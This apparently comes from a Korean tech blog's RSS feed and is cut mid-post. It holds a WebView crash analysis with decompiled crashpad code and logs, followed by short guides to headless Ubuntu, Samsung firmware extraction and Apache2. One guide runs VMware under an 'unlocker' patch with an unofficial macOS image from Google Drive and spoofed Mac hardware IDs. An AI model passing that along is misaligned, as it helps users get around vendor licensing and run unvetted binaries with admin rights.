    v12 = sub_20FA49C(2);
    result = 0;
    if ( !v12 || !a1 )
      return result;
    sub_20FA4A0(v31, &quot;../../third_party/crashpad/crashpad/snapshot/memory_snapshot.cc&quot;, 32, 2);
    v13 = ((__int64 (__fastcall *)(int))*(_DWORD *)(*(_DWORD *)a2 + 8))(a2);
    goto LABEL_10;
  }
  if ( !(*(int (__fastcall **)(int))(*(_DWORD *)a3 + 12))(a3) )
  {
    v14 = sub_20FA49C(2);
    result = 0;
    if ( !v14 || !a1 )
      return result;
    sub_20FA4A0(v31, &quot;../../third_party/crashpad/crashpad/snapshot/memory_snapshot.cc&quot;, 38, 2);
    v13 = ((__int64 (__fastcall *)(int))*(_DWORD *)(*(_DWORD *)a3 + 8))(a3);
LABEL_10:
    sub_1C6A35C(v30, &quot;invalid empty range at 0x%llx&quot;, v13, HIDWORD(v13));
    goto LABEL_11;
  }
  v8 = ((__int64 (__fastcall *)(int))*(_DWORD *)(*(_DWORD *)a2 + 8))(a2);
  v9 = (*(int (__fastcall **)(int))(*(_DWORD *)a2 + 12))(a2);
  if ( !__CFADD__(__CFADD__(v9, (_DWORD)v8), HIDWORD(v8)) )
  {
    v15 = ((__int64 (__fastcall *)(int))*(_DWORD *)(*(_DWORD *)a3 + 8))(a3);
    v29 = (*(int (__fastcall **)(int))(*(_DWORD *)a3 + 12))(a3);
    if ( __CFADD__(__CFADD__(v29, (_DWORD)v15), HIDWORD(v15)) )
    {
      v16 = sub_20FA49C(2);
      result = 0;
      if ( !v16 || !a1 )
        return result;
      sub_20FA4A0(v31, &quot;../../third_party/crashpad/crashpad/snapshot/memory_snapshot.cc&quot;, 54, 2);
      sub_1C6A35C(v30, &quot;invalid range at 0x%llx, size %zu&quot;, v15, HIDWORD(v15), v29);
      goto LABEL_11;
    }
    if ( v9 )
    {
      v18 = v29;
      v17 = v15;
      v19 = HIDWORD(v8);
      v20 = HIDWORD(v15);
      v21 = v8 + (unsigned int)v9;
      if ( v15 &amp;lt; v21 &amp;amp;&amp;amp; v29 &amp;amp;&amp;amp; v8 &amp;lt; v15 + (unsigned int)v29 )
        goto LABEL_29;
    }
    else
    {
      v19 = HIDWORD(v8);
      v21 = v8;
      v20 = HIDWORD(v15);
      v17 = v15;
      v18 = v29;
    }
    HIDWORD(v21) ^= v20;
    if ( v21 != v17 )
    {
      v22 = __PAIR64__(v20, v17) + (unsigned int)v18;
      HIDWORD(v22) ^= v19;
      if ( v22 != (unsigned int)v8 )
      {
        v28 = sub_20FA49C(2);
        result = 0;
        if ( !v28 || !a1 )
          return result;
        sub_20FA4A0(v31, &quot;../../third_party/crashpad/crashpad/snapshot/memory_snapshot.cc&quot;, 63, 2);
        sub_1C6A35C(v30, &quot;ranges not overlapping or abutting: (0x%llx, size %zu) and (0x%llx, size %zu)&quot;, v8, v19, v9);
LABEL_11:
        sub_1CAA466(v32, v30);
        sub_1BA02A4(v30);
        goto LABEL_12;
      }
    }
LABEL_29:
    if ( a4 )
    {
      v23 = 0;
      v24 = v19;
      if ( __PAIR64__(v20, v17) &amp;lt; __PAIR64__(v19, v8) )
        v24 = v20;
      a4[1] = v24;
      v25 = v8;
      if ( __PAIR64__(v20, v17) &amp;lt; __PAIR64__(v19, v8) )
        v25 = v17;
      v26 = __PAIR64__(v20, v17) + (unsigned int)v18;
      v27 = v8 + v9;
      *a4 = v25;
      if ( __PAIR64__(v19, v8) + (unsigned int)v9 &amp;lt; v26 )
        v23 = 1;
      if ( v23 )
        v27 = v26;
      a4[2] = v27 - v25;
    }
    return 1;
  }
  v10 = sub_20FA49C(2);
  result = 0;
  if ( v10 &amp;amp;&amp;amp; a1 )
  {
    sub_20FA4A0(v31, &quot;../../third_party/crashpad/crashpad/snapshot/memory_snapshot.cc&quot;, 45, 2);
    sub_1C6A35C(v30, &quot;invalid range at 0x%llx, size %zu&quot;, v8, v9);
    sub_1CAA466(v32, v30);
    sub_1BA02A4(v30);
LABEL_12:
    sub_20FA4A4(v31);
    result = 0;
  }
  return result;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;- 105.so (sub_194CC50)&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// attributes: thunk
int __fastcall sub_194CC50(int a1, int a2)
{
  return sub_21F7436(a1, a2);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;패치 전후 코드 Diff 비교해보니 몇몇 함수에서 코드 날리고 콜백 함수가 추가되었지만, 강제 종료될만한 문제를 찾지 못했다. 그래서 문제의 APK를 설치해서 Crash 덤프를 살펴보았다.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;- 카카오톡 Crash Info&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;$ adb logcat -b crash -v tag&lt;/p&gt;
&lt;pre class=&quot;stylus&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;--------- beginning of crash
E/AndroidRuntime: FATAL EXCEPTION: main
E/AndroidRuntime: Process: com.kakao.talk, PID: 5694
E/AndroidRuntime: android.view.InflateException: Binary XML file line #22 in com.kakao.talk:layout/fragment_shopping_tab: Binary XML file line #22 in com.kakao.talk:layout/fragment_shopping_tab: Error inflating class com.kakao.talk.activity.shop.commerce.CommerceCustomWebView
E/AndroidRuntime: Caused by: android.view.InflateException: Binary XML file line #22 in com.kakao.talk:layout/fragment_shopping_tab: Error inflating class com.kakao.talk.activity.shop.commerce.CommerceCustomWebView

...

E/AndroidRuntime: Caused by: java.lang.UnsatisfiedLinkError: dlopen failed: &quot;/data/app/~~kTTfUTIJkSRazMbBfuk5kw==/com.google.android.webview-ATG1yhB-CsB259OEQSIu-A==/lib/arm/libwebviewchromium.so&quot; is 32-bit instead of 64-bit
E/AndroidRuntime:       at java.lang.Runtime.loadLibrary0(Runtime.java:1087)
E/AndroidRuntime:       at java.lang.Runtime.loadLibrary0(Runtime.java:1008)
E/AndroidRuntime:       at java.lang.System.loadLibrary(System.java:1664)
E/AndroidRuntime:       at wH.j(chromium-SystemWebViewGoogle.aab-stable-438909000:17)
E/AndroidRuntime:       ... 57 more&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&amp;nbsp;... dlopen failed: ... is 32-bit instead of 64-bit&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;아... 그냥 64&lt;span style=&quot;color: #000000;&quot;&gt;bit&lt;/span&gt; 안드로이드 기기여서 32&lt;span style=&quot;color: #000000;&quot;&gt;bit&lt;/span&gt; 라이브러리를 제대로 불러오지 못해 Runtime 에러가 발생한 것이다.&lt;br /&gt;그러므로&amp;nbsp;카카오톡을&amp;nbsp;실행할&amp;nbsp;때&amp;nbsp;WebView&amp;nbsp;앱&amp;nbsp;또한&amp;nbsp;실행되면서&amp;nbsp;동시에&amp;nbsp;강제&amp;nbsp;종료되는&amp;nbsp;점이&amp;nbsp;원인이&amp;nbsp;될&amp;nbsp;수&amp;nbsp;있다. &lt;br /&gt;&lt;br /&gt;그렇기 때문에 WebView 배포 시 64bit 안드로이드를 위해 앱 라이브러리(lib)에 arm64-v8a가 존재하지 않아 문제가 생겼다. (구글 형님들의 코딩에 의한 실수는 아녔다... )&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthContent&quot; data-origin-width=&quot;729&quot; data-origin-height=&quot;974&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXBIxF/btq0SkrxEZM/yPKd7hkMzkjQHI4tY6wbc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXBIxF/btq0SkrxEZM/yPKd7hkMzkjQHI4tY6wbc1/img.png&quot; data-alt=&quot;arm64-v8a....응? 있는데??? 아...?&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXBIxF/btq0SkrxEZM/yPKd7hkMzkjQHI4tY6wbc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXBIxF%2Fbtq0SkrxEZM%2FyPKd7hkMzkjQHI4tY6wbc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;526&quot; height=&quot;974&quot; data-origin-width=&quot;729&quot; data-origin-height=&quot;974&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;arm64-v8a....응? 있는데??? 아...?&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;APK 미러 사이트에서는 arm64-v8a가 보여서 해당 앱을 설치한 결과 강제 종료되는 현상이 보이지 않았고 다양한 기기에 테스팅 못해 찝찝한 마음으로 분석을 끝냅니다. (여담으로 배포는 03.14.인데 오류는 03.23.에 나온 거지?)&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: left;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;요약&lt;/span&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;1. 앱 배포 시 64bit 안드로이드에서 &lt;b&gt;arm64-v8a에 맞추지 않아도&amp;nbsp;&lt;/b&gt;WebView 앱은 설치가 가능하다.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;2. 하지만, 64bit 안드로이드에서 32bit 라이브러리를 불러오는 과정에서 Runtime 에러 발생&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;3. 2019년 8월 1일부터는 Google Play에 앱 등록 시 64bit 라이브러리를 지원해야 하므로 개발할 때 유의하자.&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: left;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Referen&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;ce&lt;/span&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;64비트 아키텍처 지원 : &lt;a href=&quot;https://developer.android.com/distribute/best-practices/develop/64-bit?hl=ko&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;developer.android.com/distribute/best-practices/develop/64-bit?hl=ko&lt;/a&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;APKMirror : &lt;a href=&quot;https://www.apkmirror.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;www.apkmirror.com/&lt;/a&gt;&lt;/blockquote&gt;</description>
      <category>Analysis Report</category>
      <category>google</category>
      <category>webview</category>
      <category>충돌</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/262</guid>
      <comments>https://netking.tistory.com/262#entry262comment</comments>
      <pubDate>Wed, 24 Mar 2021 16:34:02 +0900</pubDate>
    </item>
    <item>
      <title>모니터없는 우분투에 가상 드라이브 설치</title>
      <link>https://netking.tistory.com/260</link>
      <description>&lt;p&gt;우분투 서버 사용 시 모니터 없어서 검은 화면이 보이곤 하는데 아래를 통해 해결할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;$ sudo apt-get install xserver-xorg-video-dummy&lt;/p&gt;
&lt;p&gt;$ sudo vim /etc/X11/xorg.conf&lt;/p&gt;
&lt;p&gt;아래 코드 추가 (파일 없다면 생성)&lt;/p&gt;
&lt;pre id=&quot;code_1614838991058&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Section &quot;Device&quot;
    Identifier  &quot;Configured Video Device&quot;
    Driver      &quot;dummy&quot;
EndSection

Section &quot;Monitor&quot;
    Identifier  &quot;Configured Monitor&quot;
    HorizSync 31.5-48.5
    VertRefresh 50-70
EndSection

Section &quot;Screen&quot;
    Identifier  &quot;Default Screen&quot;
    Monitor     &quot;Configured Monitor&quot;
    Device      &quot;Configured Video Device&quot;
    DefaultDepth 24
    SubSection &quot;Display&quot;
    Depth 24
    Modes &quot;2560x1440&quot;
    EndSubSection
EndSection&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Memo</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/260</guid>
      <comments>https://netking.tistory.com/260#entry260comment</comments>
      <pubDate>Thu, 4 Mar 2021 15:23:34 +0900</pubDate>
    </item>
    <item>
      <title>VMware Workstation 16에서 macOS BigSur 설치하기 (AMD버전)</title>
      <link>https://netking.tistory.com/259</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;준비물&lt;/h2&gt;
&lt;p&gt;- VMware Workstation 16&lt;/p&gt;
&lt;p&gt;- VMware Workstation 16 Unlocker Utility : &lt;a href=&quot;https://github.com/paolo-projects/unlocker/releases/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github.com/paolo-projects/unlocker/releases/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1614100810637&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;object&quot; data-og-title=&quot;Releases &amp;middot; paolo-projects/unlocker&quot; data-og-description=&quot;VMware Workstation macOS . Contribute to paolo-projects/unlocker development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/paolo-projects/unlocker/releases/&quot; data-og-url=&quot;https://github.com/paolo-projects/unlocker/releases&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/btejcj/hyJnWZjw88/ouV3rjc8pR9ST3y8wQs4uk/img.jpg?width=400&amp;amp;height=400&amp;amp;face=196_223_226_255&quot;&gt;&lt;a href=&quot;https://github.com/paolo-projects/unlocker/releases/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/paolo-projects/unlocker/releases/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/btejcj/hyJnWZjw88/ouV3rjc8pR9ST3y8wQs4uk/img.jpg?width=400&amp;amp;height=400&amp;amp;face=196_223_226_255');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;Releases &amp;middot; paolo-projects/unlocker&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;VMware Workstation macOS . Contribute to paolo-projects/unlocker development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;- macOS BigSur : &lt;a href=&quot;https://drive.google.com/file/d/1tprXjxoUdWVgM8XLp2GQ93bKSbiw1iD1/view&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;drive.google.com/file/d/1tprXjxoUdWVgM8XLp2GQ93bKSbiw1iD1/view&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1614089997965&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;article&quot; data-og-title=&quot;BigSur.zip&quot; data-og-description=&quot;&quot; data-og-host=&quot;drive.google.com&quot; data-og-source-url=&quot;https://drive.google.com/file/d/1tprXjxoUdWVgM8XLp2GQ93bKSbiw1iD1/view&quot; data-og-url=&quot;https://drive.google.com/file/d/1tprXjxoUdWVgM8XLp2GQ93bKSbiw1iD1/view?usp=embed_facebook&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://drive.google.com/file/d/1tprXjxoUdWVgM8XLp2GQ93bKSbiw1iD1/view&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://drive.google.com/file/d/1tprXjxoUdWVgM8XLp2GQ93bKSbiw1iD1/view&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;BigSur.zip&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;drive.google.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실행 전 과정 (VMware 설정)&lt;/h2&gt;
&lt;p&gt;1. Unlocker 폴더에서 &quot;win-install.cmd&quot; 관리자 권한으로 실행&lt;/p&gt;
&lt;p&gt;2. VMware Workstation 16(이하. VM16) 실행하여 &quot;New Virtual Machine Wizrd&quot; 선택&lt;/p&gt;
&lt;p&gt;3. &quot;Typical (recommended)&quot; 선택&lt;/p&gt;
&lt;p&gt;4. ISO 찾기에서 구글 드라이브에서 받아온 &quot;BigSur.iso&quot; 파일 선택&lt;/p&gt;
&lt;p&gt;5. &quot;Apple Mac OS X&quot; 선택 후 &quot;macOS 11.1&quot; 버전 선택&lt;/p&gt;
&lt;p&gt;6. 설치할 폴더 알아서 / 용량 알아서(&quot;Store virtual disk as a single file&quot; 선택)&lt;/p&gt;
&lt;p&gt;7. Hardware 설정에서 Memory는 8G 이상 / CPU 4 코어 이상(&quot;Virtualize Intel VT-x/EPT or AMD-V/RVI&quot; 선택) / USB Controller에서 &quot;Show all USB input devices&quot; 선택&lt;/p&gt;
&lt;p&gt;8. ISO 설치된 폴더 내에 .vmx 확장자 찾아서 아래 코드 맨 아래 추가&lt;/p&gt;
&lt;pre id=&quot;code_1614089770881&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;smc.version = &quot;0&quot;
cpuid.0.eax = &quot;0000:0000:0000:0000:0000:0000:0000:1011&quot;
cpuid.0.ebx = &quot;0111:0101:0110:1110:0110:0101:0100:0111&quot;
cpuid.0.ecx = &quot;0110:1100:0110:0101:0111:0100:0110:1110&quot;
cpuid.0.edx = &quot;0100:1001:0110:0101:0110:1110:0110:1001&quot;
cpuid.1.eax = &quot;0000:0000:0000:0001:0000:0110:0111:0001&quot;
cpuid.1.ebx = &quot;0000:0010:0000:0001:0000:1000:0000:0000&quot;
cpuid.1.ecx = &quot;1000:0010:1001:1000:0010:0010:0000:0011&quot;
cpuid.1.edx = &quot;0000:0111:1000:1011:1111:1011:1111:1111&quot;
smbios.reflectHost = &quot;TRUE&quot;
hw.model = &quot;MacBookPro14,3&quot;
board-id = &quot;Mac-551B86E5744E2388&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;9. 실행&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실행 후 과정 (Mac 부트 설치)&lt;/h2&gt;
&lt;p&gt;1. &quot;Disk Utility&quot; 선택 후 &quot;VMware Virtual SATA Hard Drive Media&quot;에서 &quot;Erase&quot; 클릭 후 이름을 &quot;macOS&quot;한 뒤 &quot;Erase&quot; 클릭&lt;/p&gt;
&lt;p&gt;2. 나와서 &quot;Install macOS Big Sur&quot; 선택&lt;/p&gt;
&lt;p&gt;3. 설치 과정에서 계정 설정은 알아서&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;설치 후 최적화 과정 (VMware Tools 설치)&lt;/h2&gt;
&lt;p&gt;1. 정상적으로 Mac 바탕화면이 보인다면, OS 종료&lt;/p&gt;
&lt;p&gt;2. OS 설정인 &quot;Virtual Machine Settings&quot;으로 들어가 &quot;CD/DVD (SATA)&quot;에서 Unlocker 폴더(Tool) 내에 &quot;darwin.iso&quot; 파일 선택 후 OS 실행&lt;/p&gt;
&lt;p&gt;3. 바탕화면에서 &quot;VMware Tools&quot; 실행&lt;/p&gt;
&lt;p&gt;4. 설치 도중 시스템 확장 프로그램 차단됨이라는 안내 창이 나오는데 &quot;보안 환경설정 열기&quot; 클릭&lt;/p&gt;
&lt;p&gt;5. 왼쪽 맨 아래 자물쇠 클릭해서 패스워드 입력 후 &quot;허용&quot; 버튼 누르고 재부팅&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;INJOY!!&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;이미지 첨부하면서 작성하고 싶었지만, 이미 설치해버렸다 :P&lt;/blockquote&gt;</description>
      <category>Memo</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/259</guid>
      <comments>https://netking.tistory.com/259#entry259comment</comments>
      <pubDate>Wed, 24 Feb 2021 02:21:02 +0900</pubDate>
    </item>
    <item>
      <title>Samsung Firmware Reference</title>
      <link>https://netking.tistory.com/217</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;준비&lt;/h3&gt;
&lt;p&gt;- simg2img : &lt;a href=&quot;https://db.netking.xyz/index.php/s/1TMP0jKU13gTy3A&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;db.netking.xyz/index.php/s/1TMP0jKU13gTy3A&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;- 7zip : &lt;a href=&quot;https://www.7-zip.org/&quot;&gt;https://www.7-zip.org/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;- 삼성 펌웨어 중 AP 파일 (Galaxy Note 20 Ultra / SM-N986 기준)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4O7tg/btqGqaQiUmu/QP5VUxpSyDOp0XOdLtqBAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4O7tg/btqGqaQiUmu/QP5VUxpSyDOp0XOdLtqBAk/img.png&quot; data-alt=&quot;동적 파티션으로 전환 시의 새로운 물리 파티션 테이블 레이아웃&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4O7tg/btqGqaQiUmu/QP5VUxpSyDOp0XOdLtqBAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4O7tg%2FbtqGqaQiUmu%2FQP5VUxpSyDOp0XOdLtqBAk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;동적 파티션으로 전환 시의 새로운 물리 파티션 테이블 레이아웃&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;* Android 10부터 'system, vendor, product'를 'super.img로 관리&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;데이터 추출&lt;/h3&gt;
&lt;p&gt;1. 'AP~~~.tar.md5' 압축 풀기&lt;/p&gt;
&lt;p&gt;2. simg2img.exe super.img super.raw&lt;/p&gt;
&lt;p&gt;3. super.raw &amp;rarr;&amp;nbsp;7-Zip &amp;rarr; 압축풀기(Extract file)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;611&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYjFKU/btqGveiUGFL/LiCrKeEogwqJrziNbfFbdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYjFKU/btqGveiUGFL/LiCrKeEogwqJrziNbfFbdK/img.png&quot; data-alt=&quot;2번&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYjFKU/btqGveiUGFL/LiCrKeEogwqJrziNbfFbdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYjFKU%2FbtqGveiUGFL%2FLiCrKeEogwqJrziNbfFbdK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;611&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;2번&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;기타&lt;/h2&gt;
&lt;p&gt;- Samsung Open Source : &lt;a href=&quot;https://opensource.samsung.com/main&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;opensource.samsung.com/main&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;- File 'fota' Password : fotatest1234&lt;/p&gt;
&lt;p&gt;- PIT : Partition Information Table / BL : Bootloader / AP : Application Processor / CP : Core Processor / CSC : Consumer Software Customization&lt;/p&gt;</description>
      <category>Android</category>
      <category>Android</category>
      <category>Extract</category>
      <category>super.img</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/217</guid>
      <comments>https://netking.tistory.com/217#entry217comment</comments>
      <pubDate>Tue, 2 Feb 2021 21:19:11 +0900</pubDate>
    </item>
    <item>
      <title>Apache2 Setting AtoZ</title>
      <link>https://netking.tistory.com/257</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;여러&amp;nbsp;호스트&amp;nbsp;구축&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동일한 IP(example.com)에서 여러 호스트(a.&lt;span style=&quot;color: #333333;&quot;&gt;example.com, b.&lt;span style=&quot;color: #333333;&quot;&gt;example.com ...&lt;/span&gt;&lt;/span&gt;) 생성은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* 플랫폼 : Apache2&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* 위치 : /etc/apache2/sites-available&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 1. {Site_name}.conf (ex. test_page.conf)&lt;/p&gt;
